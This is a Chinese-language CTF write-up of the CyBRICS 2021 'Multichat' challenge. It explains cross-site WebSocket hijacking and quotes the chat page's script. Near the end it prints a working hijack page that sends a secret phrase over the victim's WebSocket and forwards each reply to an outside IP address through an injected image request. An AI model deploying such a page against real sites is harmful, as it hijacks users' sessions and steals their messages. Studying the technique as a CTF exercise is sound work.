CyBRICS2021Multichat

赛博金砖比赛的web题,比赛时没做出来,赛后看了Sndav大佬的exp后(在naman提示我“你应该先通本地“之后de出了自己写的脚本里至少三个bug)成功复现

总体来说感悟很多,写一篇文章记录一下

[CyBRICS2021]Multichat

总览

概要:下面的网址是一个多人聊天室,技术人员和管理员是一个秘密房间的成员,当技术人员给管理员发送”Hey, i forgot the flag. Can you remind me?”时,管理员就会告诉他flag。

聊天室界面如图,左上角输入房间号后点击connect就能加入聊天室。

寻找思路

在郭哥的提示下意识到这个聊天室是由websocket实现的

WebSocket简介

​ WebSocket是一种网络通信协议,它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送技术的一种。

然后又在谷歌上找到了关于跨站WebSocket劫持的资料

What is cross-site WebSocket hijacking?

Cross-site WebSocket hijacking (also known as cross-origin WebSocket hijacking) involves a cross-site request forgery (CSRF) vulnerability on a WebSocket handshake. It arises when the WebSocket handshake request relies solely on HTTP cookies for session handling and does not contain any CSRF tokens or other unpredictable values.

An attacker can create a malicious web page on their own domain which establishes a cross-site WebSocket connection to the vulnerable application. The application will handle the connection in the context of the victim user’s session with the application.

The attacker’s page can then send arbitrary messages to the server via the connection and read the contents of messages that are received back from the server. This means that, unlike regular CSRF, the attacker gains two-way interaction with the compromised application.

然后注意到聊天室右上角那个电话图标是可以点的

THIS

点击之后跳转到一个向技术人员寻求帮助的界面

看到可以填入URL,猜想有可能是这个url会被技术人员访问

意识到这题很可能就是跨站WebSocket劫持,然后把这个想法发到了飞书话题里面。

嗯,发完之后就没我什么事了,因为我在这个地方被一个很蠢的东西卡住了……

比赛的时候一直显示Invalid captcha验证失败,这题就没继续往下做了

赛后复现的时候研究了半天,发现需要 挂 代 理,居然是要 挂 代 理!!!

(我不知道这个验证到底是怎么整的,但是不挂代理就一直过不了,感觉在这种地方被卡住了就挺无语的)

实施攻击

解决了令人😅的验证问题,下面我们来聊一下Cross-site WebSocket hajacking的原理和实施

先看以下这个WebSocket网页脚本的简单例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var ws = new WebSocket("wss://xxxxxxxxxxxxxx");//创建一个WebSocket连接

ws.onopen = function(evt) { //建立连接成功后的回调函数
console.log("Connection open ...");
ws.send("Hello WebSockets!");
};

ws.onmessage = function(evt) {//收到服务器数据后的回调函数
console.log( "Received Message: " + evt.data);
ws.close();
};

ws.onclose = function(evt) {//连接关闭后的回调函数
console.log("Connection closed.");
};

很容易就能看明白,连接建立后通过onmessage等几个函数来进行控制。

那么我们再看本题所使用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<script type="text/javascript">
var conn;
var sended_message = "";

function getRandomInt(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min) + min); //The maximum is exclusive and the minimum is inclusive
}
function appendLog(item) {
var escaped = $("<div>").text(item).html();
if (item === sended_message) {
log.innerHTML += '<div class="chat-message-right pb-4"><div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3"><div class="font-weight-bold mb-1">You</div>' +
escaped + '</div></div>';
sended_message = "";
} else {
log.innerHTML += '<div class="chat-message-left pb-4"><div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3">' +
escaped + '</div></div>';
}
log.scrollTop = log.scrollHeight;
}
function connect() {
let room = document.getElementById("room").value;
document.cookie = 'room=' + encodeURIComponent(room);
$("form input").prop( "disabled", false );
$("#room").hide();
$("#room").parent().children().first().text("Room " + room);

$("#connectButton").hide();

if (window["WebSocket"]) {
conn = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
conn.onclose = function (evt) {
var item = "";
if (evt.code === 1003) {
item = `Status: ${evt.reason}`;
} else {
item = "Connection closed.";
}
appendLog(item);
};
conn.onopen = function (evt) {
appendLog("Connected");
};
conn.onmessage = function (evt) {
appendLog(evt.data);
};
} else {
appendLog("Your browser does not support WebSockets.");
}
}
window.onload = function () {
var room = getRandomInt(1000, 9999999999);
var msg = document.getElementById("msg");
var log = document.getElementById("log");

document.getElementById("form").onsubmit = function () {
if (!conn) {
return false;
}
if (!msg.value) {
return false;
}
conn.send(msg.value);
sended_message = msg.value;
msg.value = "";
return false;
};

document.getElementById("room").value = room;
};

忽略一些不重要的地方,这段代码的主要逻辑就是:建立ws连接,然后使用appendLog函数将接受到的信息输出到页面上

我们就可以通过修改这一段代码,放在我们的劫持页面上,来进行跨站WebSocket劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
var conn;

function appendLog(item){
document.write(`<img src=http://120.53.107.60/cookiegeter.php?cookie=${escape(item)}</img>`)//简单的xss
}

conn = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
conn.onclose=function(evt){
appendLog("Connection closed")
}
conn.onopen=function(evt){
appendLog("Success!");
conn.send("Hey, i forgot the flag. Can you remind me?")
}
conn.onmessage=function(evt){
appendLog(evt.data)
};
</script>

这里通过改写appendLog函数和onopen函数,当WebSocket连接建立时会自动向服务器发送暗号”Hey, i forgot the flag. Can you remind me?”,并且接受到信息时会写入指定的地址中

然后把我们整好的劫持网址输进URL栏里,点击Send(记得挂梯子)

cybrics{Pwn3d_CR055_51t3_W3850CK3t_h1jACK1n9}

感想和总结

参加国际比赛的时候梯子真的真的很重要!(不管是通过google进行信息搜集还是一些因为网络问题导致的搞人心态的问题)

一开始做这题,naman曾试图爆破,我向他提出这题不太可能是爆破找到秘密房间。后来虽然找到了关于跨站WebSocket劫持的资料,但是由于本人技术水平所限(和令人😅的验证失败问题)最终没有做出这一题,赛后复现所用的脚本很大程度上参考了Sndav哥哥的exp

水平尚待提高,仍需努力